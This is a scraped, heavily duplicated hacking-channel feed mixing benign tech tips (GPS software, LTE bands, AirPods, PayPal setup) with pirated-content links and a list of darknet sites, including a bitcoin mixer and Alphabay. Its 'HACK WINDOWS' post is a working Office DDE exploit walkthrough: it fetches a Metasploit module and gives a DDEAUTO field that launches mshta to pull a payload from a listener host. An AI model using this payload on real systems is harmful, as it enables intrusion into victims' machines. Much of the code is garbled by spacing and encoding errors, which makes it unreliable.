β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦FOR LINUX GPS TRACKING SOFTWARE :
Viking β GPS data editor and analyzer
Viking aims to be an easy to use, yet powerful in accomplishing, a wide variety of GPS related tasks. It uses a hierarchical layering system to organize GPS data, maps, and other layer types with spatial data, such as coordinate lines.
π²F E A T U R E S :
Uploading and downloading waypoints, tracks to/from GPS.
Realtime GPS tracking and track recording.
Preparing tracks and waypoints for trips using maps from
services such as Googlemaps, Terrasever. You only need to
upload the data to your GPS before you leave. The maps together with your tracks and waypoints can also be printed and used during the trip.
After trips, tracks and waypoints from GPS can be downloaded, stored, managed and reused in later trips.
Analyzing OHV and hiking trips, understanding where you went and how far you were from something.
Making waypoints and tracks to follow to easily get someplace you have not been to or do not have GPS data for but Terraserver maps exist for it.
Making maps with coordinate lines.
Analyzing speed at different places, adding waypoints where you forgot to mark one but did slow down or stop.
Grouping data from multiple trips using a hierarchical data manager.
Show the live GPS position on the map (for use on a mobile device β e.g. a laptop).
Layers supported:
Aggregate β a container layer to hold other layers. This layer type is useful for grouping other layers, especially TrackWaypoint layers.
TrackWaypoint β displays GPS data (tracks and waypoints).
GPS β responsible for uploading and downloading GPS data from a GPS device. It also is responsible for realtime GPS tracking.
DEM β provides elevation data from the Shuttle Radar Topography Mission (SRTM).
Coord β allows drawing of grid lines on the viewport.
GeoRef β allows users to use any image as a map.
Maps β provides a single map resource, you may have multiple map layers but only top one (if enabled) will be visible. Inbuilt maps include:
Terraserver Topos.
Terraserver Aerials.
Terraserver Urban Areas.
OpenStreetMap (Osmarender).
OpenStreetMap (Mapnik).
OpenStreetMap (Maplint).
OpenStreetMap (Cycle).
NASA BlueMarble.
SpotMap (Viking Version1.1+).
Supports a wide variety of map types including WMS, OSM, TMS, SPOTMaps.
Support for Locosys and DeLorme GPS devices.
Internationalization support.
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
FOR BSD Windows Mac Linux:)
sourceforge.net/projects/viking
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦FOR LINUX GPS TRACKING SOFTWARE :
Viking β GPS data editor and analyzer
Viking aims to be an easy to use, yet powerful in accomplishing, a wide variety of GPS related tasks. It uses a hierarchical layering system to organize GPS data, maps, and other layer types with spatial data, such as coordinate lines.
π²F E A T U R E S :
Uploading and downloading waypoints, tracks to/from GPS.
Realtime GPS tracking and track recording.
Preparing tracks and waypoints for trips using maps from
services such as Googlemaps, Terrasever. You only need to
upload the data to your GPS before you leave. The maps together with your tracks and waypoints can also be printed and used during the trip.
After trips, tracks and waypoints from GPS can be downloaded, stored, managed and reused in later trips.
Analyzing OHV and hiking trips, understanding where you went and how far you were from something.
Making waypoints and tracks to follow to easily get someplace you have not been to or do not have GPS data for but Terraserver maps exist for it.
Making maps with coordinate lines.
Analyzing speed at different places, adding waypoints where you forgot to mark one but did slow down or stop.
Grouping data from multiple trips using a hierarchical data manager.
Show the live GPS position on the map (for use on a mobile device β e.g. a laptop).
Layers supported:
Aggregate β a container layer to hold other layers. This layer type is useful for grouping other layers, especially TrackWaypoint layers.
TrackWaypoint β displays GPS data (tracks and waypoints).
GPS β responsible for uploading and downloading GPS data from a GPS device. It also is responsible for realtime GPS tracking.
DEM β provides elevation data from the Shuttle Radar Topography Mission (SRTM).
Coord β allows drawing of grid lines on the viewport.
GeoRef β allows users to use any image as a map.
Maps β provides a single map resource, you may have multiple map layers but only top one (if enabled) will be visible. Inbuilt maps include:
Terraserver Topos.
Terraserver Aerials.
Terraserver Urban Areas.
OpenStreetMap (Osmarender).
OpenStreetMap (Mapnik).
OpenStreetMap (Maplint).
OpenStreetMap (Cycle).
NASA BlueMarble.
SpotMap (Viking Version1.1+).
Supports a wide variety of map types including WMS, OSM, TMS, SPOTMaps.
Support for Locosys and DeLorme GPS devices.
Internationalization support.
πΈπ½π π π°π»π»πΈπ π°π πΈπΎπ½ & π π π½ :
FOR BSD Windows Mac Linux:)
sourceforge.net/projects/viking
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
SourceForge
Viking GPS data editor and analyzer
Download Viking GPS data editor and analyzer for free. Viking is a free/open source program to manage GPS data. Viking is a free/open source program to manage GPS data. You can import, plot and create tracks, routes and waypoints, show OSM, Bing Aerial andβ¦
10 h trading ninja https://mega.nz/folder/il9QCQiQ#UqHjrlyI9hlsQs1zXbE5CQ
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Manual switching to different LTE frequency bands on any Samsung Galaxy smartphones :
1) Download QuickShortCutMaker
Download and install the free QuickShortCutMaker app from the Google Play Store .
https://play.google.com/store/apps/details?id=com.sika524.android.quickshortcut&hl=en
2)Select a new LTE band
After installation, launch the application and open the "Activity" tab. Click on the down arrow next to Call Settings. In the list, select the last option above "Camera" and click "Try".
3) On a new page, open the side menu by clicking on the three horizontal lines in the upper left corner. Click Select Lane.
4) you will see a list of all the bands supported by the smartphone, including LTE and 5G. You need to select the LTE band supported by your mobile operator. For the USA, these are the following operators and bands:
Verizon: 0/1/2/4/5/13
AT&T: 2/4/5/12/17
T-Mobile / Sprint: 2/4/5/12/25/26/41
US Cellular: 2/4/5/12
5) When you have selected a supported LTE band, activate the Select switch in the upper right corner. Use the Back button or gesture to return to the previous screen. To verify that the change worked, it is recommended that you restart your smartphone.
6) Approve the change
Download the Network Cell Info Lite app from the Google Play store.
https://play.google.com/store/apps/details?id=com.novvia.fispy&hl=en
7) After installation, launch the application and give the required permissions. The first Gauge tab on the right shows the selected frequency band.
Don't clone our tutorials :)
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Manual switching to different LTE frequency bands on any Samsung Galaxy smartphones :
1) Download QuickShortCutMaker
Download and install the free QuickShortCutMaker app from the Google Play Store .
https://play.google.com/store/apps/details?id=com.sika524.android.quickshortcut&hl=en
2)Select a new LTE band
After installation, launch the application and open the "Activity" tab. Click on the down arrow next to Call Settings. In the list, select the last option above "Camera" and click "Try".
3) On a new page, open the side menu by clicking on the three horizontal lines in the upper left corner. Click Select Lane.
4) you will see a list of all the bands supported by the smartphone, including LTE and 5G. You need to select the LTE band supported by your mobile operator. For the USA, these are the following operators and bands:
Verizon: 0/1/2/4/5/13
AT&T: 2/4/5/12/17
T-Mobile / Sprint: 2/4/5/12/25/26/41
US Cellular: 2/4/5/12
5) When you have selected a supported LTE band, activate the Select switch in the upper right corner. Use the Back button or gesture to return to the previous screen. To verify that the change worked, it is recommended that you restart your smartphone.
6) Approve the change
Download the Network Cell Info Lite app from the Google Play store.
https://play.google.com/store/apps/details?id=com.novvia.fispy&hl=en
7) After installation, launch the application and give the required permissions. The first Gauge tab on the right shows the selected frequency band.
Don't clone our tutorials :)
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Forwarded from UNDERCODE COMMUNITY
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦ Best Bug Bounty Platforms :
- YesWeHack
- intigriti
- HackerOne
- Bugcrowd
- Cobalt
- Bountysource
- Bounty Factory
- Coder Bounty
- FreedomSponsors
- FOSS Factory
- Synack
- HackenProof
- Detectify
- Bugbountyjp
- Safehats
- BugbountyHQ
- Hackerhive
- Hacktrophy
- AntiHACK
- CESPPA
β git 2020
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦ Best Bug Bounty Platforms :
- YesWeHack
- intigriti
- HackerOne
- Bugcrowd
- Cobalt
- Bountysource
- Bounty Factory
- Coder Bounty
- FreedomSponsors
- FOSS Factory
- Synack
- HackenProof
- Detectify
- Bugbountyjp
- Safehats
- BugbountyHQ
- Hackerhive
- Hacktrophy
- AntiHACK
- CESPPA
β git 2020
β β β Uππ»βΊπ«Δπ¬πβ β β β
YesWeHack
Global Bug Bounty & Vulnerability Management Platform | YesWeHack
Explore YesWeHack, leading global Bug Bounty & Vulnerability Management Platform. Connect with tens of thousands of ethical hackers worldwide to uncover vulnerabilities in your websites, mobile apps, and digital infrastructure, bolstering your cyber defenceβ¦
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦π« A look at how credit card information can be stolen :
1) Cloning maps
Making a cloned credit card is the easiest way for a thief to spend someone else's money.
All they have to do is temporarily access your credit card (often in fractions of a minute) and program it onto another prepaid card.
The cloned cards can then be sold on the darknet, usually through cryptocurrency.
Many of these stolen cards resemble real cards, and the attention to detail is mind-boggling.
2) Skimming cards
Breathing in the neck of credit card cloning, ATM skimming is one of the most common ways to get credit and debit card data.
It typically uses magnetic stripe cards rather than chip and pin code cards, but as the story suggests, thieves can also install a mini camera on the skimmer to capture the pin number.
3) Formjacking
The digital equivalent of ATM skimming, "formjacking" is a term Symantec uses to refer to hackers who steal credit card information from checkout pages on websites.
They usually install malicious software, usually JavaScript code, to remove credit card numbers.
Cryptojacking is another similar term that refers to the withdrawal of cryptocurrency
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦π« A look at how credit card information can be stolen :
1) Cloning maps
Making a cloned credit card is the easiest way for a thief to spend someone else's money.
All they have to do is temporarily access your credit card (often in fractions of a minute) and program it onto another prepaid card.
The cloned cards can then be sold on the darknet, usually through cryptocurrency.
Many of these stolen cards resemble real cards, and the attention to detail is mind-boggling.
2) Skimming cards
Breathing in the neck of credit card cloning, ATM skimming is one of the most common ways to get credit and debit card data.
It typically uses magnetic stripe cards rather than chip and pin code cards, but as the story suggests, thieves can also install a mini camera on the skimmer to capture the pin number.
3) Formjacking
The digital equivalent of ATM skimming, "formjacking" is a term Symantec uses to refer to hackers who steal credit card information from checkout pages on websites.
They usually install malicious software, usually JavaScript code, to remove credit card numbers.
Cryptojacking is another similar term that refers to the withdrawal of cryptocurrency
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Change the default microphone in AirPods to the ear you want :
1) AirPods are not only a great way to listen to music on your iPhone, but they also help with phone calls, video conferencing, taking voice notes and audio messages, talking to Siri, and more.
2) The two earbuds each have a built-in microphone, but they are not used at the same time. Headphones are selected automatically. If you want to set yourself on which side to use the earphone, you can do it.
3) AirPods 1st and 2nd generation and AirPods Pro usually have a handy microphone for phone and video calls. Most users will be happy with the default choice. If the interlocutors do not hear you well, the Siri assistant does not recognize your words and voice recordings are indistinct, you can manually change the microphone.
4) If you only use one AirPod, the microphone on it is used. Thus, to change the microphone, you need to change the earpiece. If you have both headphones connected to your iPhone, open the Settings app and tap Bluetooth. You can also use the shortcut in the control center. Click the (i) icon next to AirPods under My Devices.
5) By default, AirPods will automatically select one microphone if both are connected. If you want to make your own choice, click on the Microphone field and change from Auto Switch AirPods to Always Left AirPod or Always Right AirPod.
6) AirPods have other customizations as well. You can change the functions by double tapping and long pressing, change the name of the headphones, turn off automatic ear recognition so that the sound is not paused.
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦Change the default microphone in AirPods to the ear you want :
1) AirPods are not only a great way to listen to music on your iPhone, but they also help with phone calls, video conferencing, taking voice notes and audio messages, talking to Siri, and more.
2) The two earbuds each have a built-in microphone, but they are not used at the same time. Headphones are selected automatically. If you want to set yourself on which side to use the earphone, you can do it.
3) AirPods 1st and 2nd generation and AirPods Pro usually have a handy microphone for phone and video calls. Most users will be happy with the default choice. If the interlocutors do not hear you well, the Siri assistant does not recognize your words and voice recordings are indistinct, you can manually change the microphone.
4) If you only use one AirPod, the microphone on it is used. Thus, to change the microphone, you need to change the earpiece. If you have both headphones connected to your iPhone, open the Settings app and tap Bluetooth. You can also use the shortcut in the control center. Click the (i) icon next to AirPods under My Devices.
5) By default, AirPods will automatically select one microphone if both are connected. If you want to make your own choice, click on the Microphone field and change from Auto Switch AirPods to Always Left AirPod or Always Right AirPod.
6) AirPods have other customizations as well. You can change the functions by double tapping and long pressing, change the name of the headphones, turn off automatic ear recognition so that the sound is not paused.
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Vilppu studio Drawing anatomy lecture: https://mega.nz/folder/RIx3TJxJ#_Nna8t01kPxENJ8KSzXqwg/folder/EUJHgKAZ
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦TWRP Alternative Lets Manage Magisk Modules on OnePlus Devices :
Installing Sky Hawk Recovery on OnePlus
Before using Sky Hawk Recovery on OnePlus, you need to install TWRP
After installing TWRP, you can download the Sky Hawk installation file from one of the links below. Place the file in a convenient location on your device, such as the Downloads folder.
https://sourceforge.net/projects/ab-temp/files/SHRP/enchilada/SHRP_v2.3_enchilada-190630062020.zip/download
https://sourceforge.net/projects/ab-temp/files/SHRP/fajita/SHRP_v2.3_fajita-190630062020.zip/download
https://sourceforge.net/projects/ab-temp/files/SHRP/guacamole/SHRP_v2.3_guacamole-190630062020.zip/download
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦TWRP Alternative Lets Manage Magisk Modules on OnePlus Devices :
Installing Sky Hawk Recovery on OnePlus
Before using Sky Hawk Recovery on OnePlus, you need to install TWRP
After installing TWRP, you can download the Sky Hawk installation file from one of the links below. Place the file in a convenient location on your device, such as the Downloads folder.
https://sourceforge.net/projects/ab-temp/files/SHRP/enchilada/SHRP_v2.3_enchilada-190630062020.zip/download
https://sourceforge.net/projects/ab-temp/files/SHRP/fajita/SHRP_v2.3_fajita-190630062020.zip/download
https://sourceforge.net/projects/ab-temp/files/SHRP/guacamole/SHRP_v2.3_guacamole-190630062020.zip/download
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦HACK WINDOWS
βοΈοΈ Windows Penetration Testing Using Microsoft Office DDE Exploit (MACROLESS):
DDE exploitation was also known as dynamic data exchange, it allows data to be transferred between applications without any user interaction.
1) Hackers have used this technique to execute malicious scripts to compromise data.
2) This was reported to Microsoft by Sensepost, Etienne Stalmans and Saif El-Sherei, but this has not been fixed as many applications use the DDE protocol.
3) This exploit does not require a macro feature to be enabled.
Prerequisites - DDE exploit
Windows machine
Microsoft Office (any version)
Kali Linux
4) We will have to import the Metasploit exploit.
Download it from GitHub using the terminal command:
wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
5) Move the script to the Metasploit location
mv dde_delivery.rb / usr / share / metasploit-framework / modules / exploits / windows /
6) Now enter msfconsole in the terminal that starts the Metasploit framework and enter reload_all to load modules.
This exploit uses the dde function to deliver the hta payload. Now enter:
7) we need to set up a payload listener.
Don't use port 8080 as the server port is set to 8080 by default
8) Now copy and paste the code into any text document.
9) We used Office 365 Pro Plus, completely revamped.
10) Find the formula and you should see a small error window in your document, then right click on the toggle code.
11) paste the command into the document in parentheses.
Save your document.
{DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe βhttp://192.168.177.141:8080/mVg3YDU3gVQβ}
Β― \ _ (γ) _ / Β―
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦HACK WINDOWS
βοΈοΈ Windows Penetration Testing Using Microsoft Office DDE Exploit (MACROLESS):
DDE exploitation was also known as dynamic data exchange, it allows data to be transferred between applications without any user interaction.
1) Hackers have used this technique to execute malicious scripts to compromise data.
2) This was reported to Microsoft by Sensepost, Etienne Stalmans and Saif El-Sherei, but this has not been fixed as many applications use the DDE protocol.
3) This exploit does not require a macro feature to be enabled.
Prerequisites - DDE exploit
Windows machine
Microsoft Office (any version)
Kali Linux
4) We will have to import the Metasploit exploit.
Download it from GitHub using the terminal command:
wget https://raw.githubusercontent.com/realoriginal/metasploit-framework/fb3410c4f2e47a003fd9910ce78f0fc72e513674/modules/exploits/windows/script/dde_delivery.rb
5) Move the script to the Metasploit location
mv dde_delivery.rb / usr / share / metasploit-framework / modules / exploits / windows /
6) Now enter msfconsole in the terminal that starts the Metasploit framework and enter reload_all to load modules.
This exploit uses the dde function to deliver the hta payload. Now enter:
7) we need to set up a payload listener.
Don't use port 8080 as the server port is set to 8080 by default
8) Now copy and paste the code into any text document.
9) We used Office 365 Pro Plus, completely revamped.
10) Find the formula and you should see a small error window in your document, then right click on the toggle code.
11) paste the command into the document in parentheses.
Save your document.
{DDEAUTO C:\\Programs\\Microsoft\\Office\\MSword.exe\\..\\..\\..\\..\\windows\\system32\\mshta.exe βhttp://192.168.177.141:8080/mVg3YDU3gVQβ}
Β― \ _ (γ) _ / Β―
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦π How to save the configuration in a shell script :
1) Save the configuration while the shell script is running using a simple yet effective method.
Shell script
2) I'll use the following shell script to illustrate the idea.
Nothing fancy, it will display the available disk space on a specific server and partition.
#! / usr / bin / env bash
# Display available disk space on specific server and partition
# default parameters
default_bastion = ""
default_busername = ""
default_server = "localhost"
default_username = "milosz"
default_partition = "/ srv"
# nextcloud server
nextcloud_server = "nextcloud.local"
nextcloud_partition = "/ data"
# dokuwiki server
dokuwiki_bastion = "bastion.example.org"
dokuwiki_busername = "bouncer"
1dokuwiki_server = "192.0.2.10"
dokuwiki_username = "dokuwiki"
dokuwiki_partition = "/ wiki"
# kolab server
kolab_bastion = "bastion.example.org"
kolab_busername = "bouncer"
kolab_server = "192.0.2.20"
kolab_username = "monitoring"
kolab_partition = "/"
# get defined servers / applications
applications = "$ ((set -o posix; set) | awk -F '=' '/ _server / {split ($ 1, array," _ "); print array [1]}' | grep -v default)"
# get defined attributes
attributes = "$ ((set -o posix; set) | awk -F '=' '/ default_ / {split ($ 1, array," _ "); print array [2]}')"
3) for application in $ applications; do
# define attributes for server / application
for attribute in $ attributes; do
application_attribute = "$ {application} _ $ {attribute}"
default_attribute = "default _ $ {attribute}"
if [-n "$ {! application_attribute}"]; then
eval "$ {attribute}" = "$ {! application_attribute}"
else
eval "$ {attribute}" = "$ {! default_attribute}"
fi
done
# perform an action
if [-n "$ bastion"]; then
bastion_param = "- J $ {busername} @ $ {bastion}"
else
bastion_param = ""
fi
echo -n "$ server:"
ssh $ bastion_param $ server -l $ username "bash -c 'df -h --output = avail $ partition | sed 1d'"
done
Using
Run the above shell script to see the available disk space on the specified servers.
nextcloud.local: 87G
192.0.2.10: 98G
192.0.2.20: 5.5G
How it works
Attributes
4) Define default values, remember to include blanks.
# default parameters
default_bastion = ""
default_busername = ""
default_server = "localhost"
default_username = "milosz"
default_partition = "/ srv"
5) These variables will be used to retrieve the attribute names.
# get defined attributes
attributes = "$ ((set -o posix; set) | awk -F '=' '/ default_ / {split ($ 1, array," _ "); print array [2]}')"
The extracted attribute names.
attributes = "bastion busername server username partition"
Applications
Define the attributes for each application.
# nextcloud server
nextcloud_server = "nextcloud.local"
nextcloud_partition = "/ data"
[...]
6) These variables will be used to retrieve the application names.
Note that I am using the server attribute as the app indicator in this example.
# get defined servers / applications
applications = "$ ((set -o posix; set) | awk -F '=' '/ _server / {split ($ 1, array," _ "); print array [1]}' | grep -v default)"
7) The names of the extracted applications.
applications = "nextcloud dokuwiki kolab"
Parsing attributes for each application
I will iterate over the list of applications.
8) for application in $ applications; do
Assign attributes (for example, server, username ...) using the application_attribute variable (values ββsuch as nextcloud_server, nextcloud_username,β¦ depending on the application name) to define the target variable name and read value using the $ {! Application_attribute}. Use the default if empty.
# define attributes for server / application
for attribute in $ attributes; do
application_attribute = "$ {application} _ $ {attribute}"
default_attribute = "default _ $ {attribute}"
if [-n "$ {! application_attribute}"]; then
eval "$ {attribute}" = "$ {! application_attribute}"
else
eval "$ {attribute}" = "$ {! default_attribute}"
fi
done
π¦π How to save the configuration in a shell script :
1) Save the configuration while the shell script is running using a simple yet effective method.
Shell script
2) I'll use the following shell script to illustrate the idea.
Nothing fancy, it will display the available disk space on a specific server and partition.
#! / usr / bin / env bash
# Display available disk space on specific server and partition
# default parameters
default_bastion = ""
default_busername = ""
default_server = "localhost"
default_username = "milosz"
default_partition = "/ srv"
# nextcloud server
nextcloud_server = "nextcloud.local"
nextcloud_partition = "/ data"
# dokuwiki server
dokuwiki_bastion = "bastion.example.org"
dokuwiki_busername = "bouncer"
1dokuwiki_server = "192.0.2.10"
dokuwiki_username = "dokuwiki"
dokuwiki_partition = "/ wiki"
# kolab server
kolab_bastion = "bastion.example.org"
kolab_busername = "bouncer"
kolab_server = "192.0.2.20"
kolab_username = "monitoring"
kolab_partition = "/"
# get defined servers / applications
applications = "$ ((set -o posix; set) | awk -F '=' '/ _server / {split ($ 1, array," _ "); print array [1]}' | grep -v default)"
# get defined attributes
attributes = "$ ((set -o posix; set) | awk -F '=' '/ default_ / {split ($ 1, array," _ "); print array [2]}')"
3) for application in $ applications; do
# define attributes for server / application
for attribute in $ attributes; do
application_attribute = "$ {application} _ $ {attribute}"
default_attribute = "default _ $ {attribute}"
if [-n "$ {! application_attribute}"]; then
eval "$ {attribute}" = "$ {! application_attribute}"
else
eval "$ {attribute}" = "$ {! default_attribute}"
fi
done
# perform an action
if [-n "$ bastion"]; then
bastion_param = "- J $ {busername} @ $ {bastion}"
else
bastion_param = ""
fi
echo -n "$ server:"
ssh $ bastion_param $ server -l $ username "bash -c 'df -h --output = avail $ partition | sed 1d'"
done
Using
Run the above shell script to see the available disk space on the specified servers.
nextcloud.local: 87G
192.0.2.10: 98G
192.0.2.20: 5.5G
How it works
Attributes
4) Define default values, remember to include blanks.
# default parameters
default_bastion = ""
default_busername = ""
default_server = "localhost"
default_username = "milosz"
default_partition = "/ srv"
5) These variables will be used to retrieve the attribute names.
# get defined attributes
attributes = "$ ((set -o posix; set) | awk -F '=' '/ default_ / {split ($ 1, array," _ "); print array [2]}')"
The extracted attribute names.
attributes = "bastion busername server username partition"
Applications
Define the attributes for each application.
# nextcloud server
nextcloud_server = "nextcloud.local"
nextcloud_partition = "/ data"
[...]
6) These variables will be used to retrieve the application names.
Note that I am using the server attribute as the app indicator in this example.
# get defined servers / applications
applications = "$ ((set -o posix; set) | awk -F '=' '/ _server / {split ($ 1, array," _ "); print array [1]}' | grep -v default)"
7) The names of the extracted applications.
applications = "nextcloud dokuwiki kolab"
Parsing attributes for each application
I will iterate over the list of applications.
8) for application in $ applications; do
Assign attributes (for example, server, username ...) using the application_attribute variable (values ββsuch as nextcloud_server, nextcloud_username,β¦ depending on the application name) to define the target variable name and read value using the $ {! Application_attribute}. Use the default if empty.
# define attributes for server / application
for attribute in $ attributes; do
application_attribute = "$ {application} _ $ {attribute}"
default_attribute = "default _ $ {attribute}"
if [-n "$ {! application_attribute}"]; then
eval "$ {attribute}" = "$ {! application_attribute}"
else
eval "$ {attribute}" = "$ {! default_attribute}"
fi
done
9) Follow the steps as needed using the short attribute names.
# perform an action
if [-n "$ bastion"]; then
bastion_param = "- J $ {busername} @ $ {bastion}"
else
bastion_param = ""
fi
echo -n "$ server:"
ssh $ bastion_param $ server -l $ username "bash -c 'df -h --output = avail $ partition | sed 1d'"
The end of the application loop is self-explanatory.
done
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
# perform an action
if [-n "$ bastion"]; then
bastion_param = "- J $ {busername} @ $ {bastion}"
else
bastion_param = ""
fi
echo -n "$ server:"
ssh $ bastion_param $ server -l $ username "bash -c 'df -h --output = avail $ partition | sed 1d'"
The end of the application loop is self-explanatory.
done
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
Technical Prosperity - Red Package
https://mega.nz/folder/fvo3TYDK#xX6dys-zoViXiSbdPjxzCA/folder/H7oikCRQ
https://mega.nz/folder/fvo3TYDK#xX6dys-zoViXiSbdPjxzCA/folder/H7oikCRQ
mega.nz
File folder on MEGA
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 russian host, deepwebsites
http://bitmixbizymuphkc.onion is the best bitcoin mixer , you can mix BTC, ETH, LTC.
buybit4xcbat2cwn.onion RU BuyBit - instant purchase and sale of bitcoin (with Qiwi integration), the service does not require any confirmation and accepts payment from terminals. Good online support that solves your questions online. Online discussion;
http://totetxidh73fm4e3.onion - Totet, bitcoin tote;
https://onion.cab - clearnet (!) onion.cab, view hidden onion sites without Tor;
http://facebookcorewwwi.onion - Facebook, the same one));
http://sms4tor3vcr2geip.onion - SMS4TOR, a self-destruct message service;
http://oi4bvjslpt5gabjq.onion - RΓ©publique de Hackers, another French-language hacker forum;
http://pwoah7foa6au2pul.onion - Alphabay market;
http://mail2tor2zyjdctd.onion - Mail2Tor, e-mail service;
http://torbox3uiot6wchz.onion - TorBox, e-mail service inside .onion;
http://zw3crggtadila2sg.onion/imageboard - TorChan, "Tor's # 1 imageboard";
http://cyjabr4pfzupo7pg.onion - CYRUSERV, a jabber service from CYRUSERV;
http://rutorc6mqdinc4cz.onion - RuTor.org, a well-known torrent tracker;
http://flibustahezeous3.onion is the famous onion-style electronic library.
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦2020 russian host, deepwebsites
http://bitmixbizymuphkc.onion is the best bitcoin mixer , you can mix BTC, ETH, LTC.
buybit4xcbat2cwn.onion RU BuyBit - instant purchase and sale of bitcoin (with Qiwi integration), the service does not require any confirmation and accepts payment from terminals. Good online support that solves your questions online. Online discussion;
http://totetxidh73fm4e3.onion - Totet, bitcoin tote;
https://onion.cab - clearnet (!) onion.cab, view hidden onion sites without Tor;
http://facebookcorewwwi.onion - Facebook, the same one));
http://sms4tor3vcr2geip.onion - SMS4TOR, a self-destruct message service;
http://oi4bvjslpt5gabjq.onion - RΓ©publique de Hackers, another French-language hacker forum;
http://pwoah7foa6au2pul.onion - Alphabay market;
http://mail2tor2zyjdctd.onion - Mail2Tor, e-mail service;
http://torbox3uiot6wchz.onion - TorBox, e-mail service inside .onion;
http://zw3crggtadila2sg.onion/imageboard - TorChan, "Tor's # 1 imageboard";
http://cyjabr4pfzupo7pg.onion - CYRUSERV, a jabber service from CYRUSERV;
http://rutorc6mqdinc4cz.onion - RuTor.org, a well-known torrent tracker;
http://flibustahezeous3.onion is the famous onion-style electronic library.
@UndercodeTesting
@UndercodeHacking
@UndercodeSecurity
β β β Uππ»βΊπ«Δπ¬πβ β β β
β β β Uππ»βΊπ«Δπ¬πβ β β β
π¦How to add PayPal to Google Pay as a payment method using Gmail, YouTube and other Google services :
1) Linking PayPal to your Google Pay account
There are several ways to connect your PayPal account to Google Pay. On Android, you can use the Google Pay mobile app. On iOS, the best option is to use the Google Pay web app. You can add PayPal to Google Pay on Android and iOS when shopping online where Google Pay is accepted.
Option 1. In the Google Play app (on Android)
Open Google Pay, select the Payments tab, click on the blue + payment method button below. Select PayPal from the two options that appear.
2) You will be redirected to the PayPal website in your browser and not in the PayPal app. Enter your username and password to log into your account, wait for the addition process to complete.
3) If you see the Use PayPal with Google Pay screen, click Next. Next, you need to set a pin code to make purchases. If you already have a PIN, confirm it. If you're adding a PayPal account from one of the two options below, you'll need to go back to the Payments tab and select Set In Store Payments next to PayPal.
4) Next, you need to agree to the PayPal terms for using Google Pay. It says here that if you don't have enough money in your PayPal balance to pay for something, PayPal will automatically top up your balance with $ 10 from the bank or card of your choice. After choosing a payment method, click "Agree and Continue".
5) Your PayPal account can now shop with Google Pay. It automatically becomes the default payment option.
Option 2. In the Google Pay app (on Android and iOS)
On iOS, you cannot add PayPal to the Google Pay mobile app. You can use the Google Pay web app. PayPal then appears as a payment method in the Google Pay mobile app.
6) Open pay.google.com in your browser and sign in to your account. Click on the menu with three lines in the upper left corner, select payment options and the command "+ add payment method" at the bottom. Select add PayPal.
7) Click "Save" and you will be redirected to the PayPal website. Log in to your account, choose a debit or credit card to pay. Read the information on the page, click "Agree and Continue". You will then see PayPal as a payment method on the Google Play website and in the mobile app.
Option 3. When placing an order (on Android and iOS)
You can add PayPal when you buy something from Google. For example, when a purchase is made on the Google Store. You can choose a new payment method, choose PayPal, and link your accounts. See step 2 below for more information.
8) Use PayPal with Google Pay to make a purchase
When PayPal is linked to Google Pay, you can shop online on various Google services, including Gmail, YouTube, Play Store, Google Store. You can select non-Google apps that have a link to Google Pay.
9) On iOS, Google Pay can be used in a browser. This platform uses Apple Pay in applications like YouTube. You can't add PayPal to Apple Pay if it's not a debit card.
10) now on your phone you can see the PayPal payment options on Google Pay when trying to buy a movie from the Play Store. You don't even need to sign in to your PayPal account. Select PayPal, click on the Buy button, confirm with your fingerprint, pattern or pin and the purchase will be completed.
11) if you plan to use this payment option in stores, look for contactless payment terminals. Hold your smartphone near the terminal until payment is complete.
12) When shopping on sites like the Google Store, on the checkout screen, change the Google Pay payment option to PayPal, then confirm your purchase. If you haven't added a PayPal account yet, you can do so now by choosing βAdd PayPalβ from the list of payment options.
π¦How to add PayPal to Google Pay as a payment method using Gmail, YouTube and other Google services :
1) Linking PayPal to your Google Pay account
There are several ways to connect your PayPal account to Google Pay. On Android, you can use the Google Pay mobile app. On iOS, the best option is to use the Google Pay web app. You can add PayPal to Google Pay on Android and iOS when shopping online where Google Pay is accepted.
Option 1. In the Google Play app (on Android)
Open Google Pay, select the Payments tab, click on the blue + payment method button below. Select PayPal from the two options that appear.
